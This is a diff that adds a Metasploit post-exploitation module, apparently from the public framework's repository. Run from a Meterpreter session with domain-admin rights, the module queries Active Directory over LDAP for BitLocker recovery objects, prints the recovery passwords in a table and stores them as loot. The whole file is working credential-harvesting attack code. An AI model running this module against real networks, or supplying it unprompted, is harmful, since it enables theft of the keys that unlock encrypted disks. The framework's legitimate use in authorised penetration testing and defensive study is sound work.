|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'rex' |
| 7 | +require 'msf/core' |
| 8 | +require 'msf/core/auxiliary/report' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Post |
| 11 | + include Msf::Auxiliary::Report |
| 12 | + include Msf::Post::Windows::LDAP |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'Windows Gather Active Directory BitLocker Recovery', |
| 17 | + 'Description' => %q{ |
| 18 | + This module will enumerate BitLocker recovery passwords in the default AD |
| 19 | + directory. Requires Domain Admin or other delegated privileges. |
| 20 | + }, |
| 21 | + 'License' => MSF_LICENSE, |
| 22 | + 'Author' => ['Ben Campbell <ben.campbell[at]mwrinfosecurity.com>'], |
| 23 | + 'Platform' => ['win'], |
| 24 | + 'SessionTypes' => ['meterpreter'], |
| 25 | + 'References' => |
| 26 | + [ |
| 27 | + ['URL', 'https://technet.microsoft.com/en-us/library/cc771778%28v=ws.10%29.aspx'] |
| 28 | + ] |
| 29 | + )) |
| 30 | + |
| 31 | + register_options([ |
| 32 | + OptBool.new('STORE_LOOT', [true, 'Store file in loot.', true]), |
| 33 | + OptString.new('FIELDS', [true, 'FIELDS to retrieve.', 'distinguishedName,msFVE-RecoveryPassword']), |
| 34 | + OptString.new('FILTER', [true, 'Search filter.', '(objectClass=msFVE-RecoveryInformation)']) |
| 35 | + ], self.class) |
| 36 | + end |
| 37 | + |
| 38 | + def run |
| 39 | + fields = datastore['FIELDS'].gsub(/\s+/, "").split(',') |
| 40 | + search_filter = datastore['FILTER'] |
| 41 | + max_search = datastore['MAX_SEARCH'] |
| 42 | + q = query(search_filter, max_search, fields) |
| 43 | + |
| 44 | + if q.nil? || q[:results].empty? |
| 45 | + print_status('No results found...') |
| 46 | + return |
| 47 | + end |
| 48 | + |
| 49 | + # Results table holds raw string data |
| 50 | + results_table = Rex::Ui::Text::Table.new( |
| 51 | + 'Header' => 'BitLocker Recovery Passwords', |
| 52 | + 'Indent' => 1, |
| 53 | + 'SortIndex' => -1, |
| 54 | + 'Columns' => fields |
| 55 | + ) |
| 56 | + |
| 57 | + q[:results].each do |result| |
| 58 | + row = [] |
| 59 | + |
| 60 | + result.each do |field| |
| 61 | + field_value = (field.nil? ? '' : field[:value]) |
| 62 | + row << field_value |
| 63 | + end |
| 64 | + |
| 65 | + results_table << row |
| 66 | + end |
| 67 | + |
| 68 | + print_line results_table.to_s |
| 69 | + |
| 70 | + if datastore['STORE_LOOT'] |
| 71 | + stored_path = store_loot('bitlocker.recovery', 'text/plain', session, results_table.to_csv) |
| 72 | + print_status("Results saved to: #{stored_path}") |
| 73 | + end |
| 74 | + end |
| 75 | +end |
0 commit comments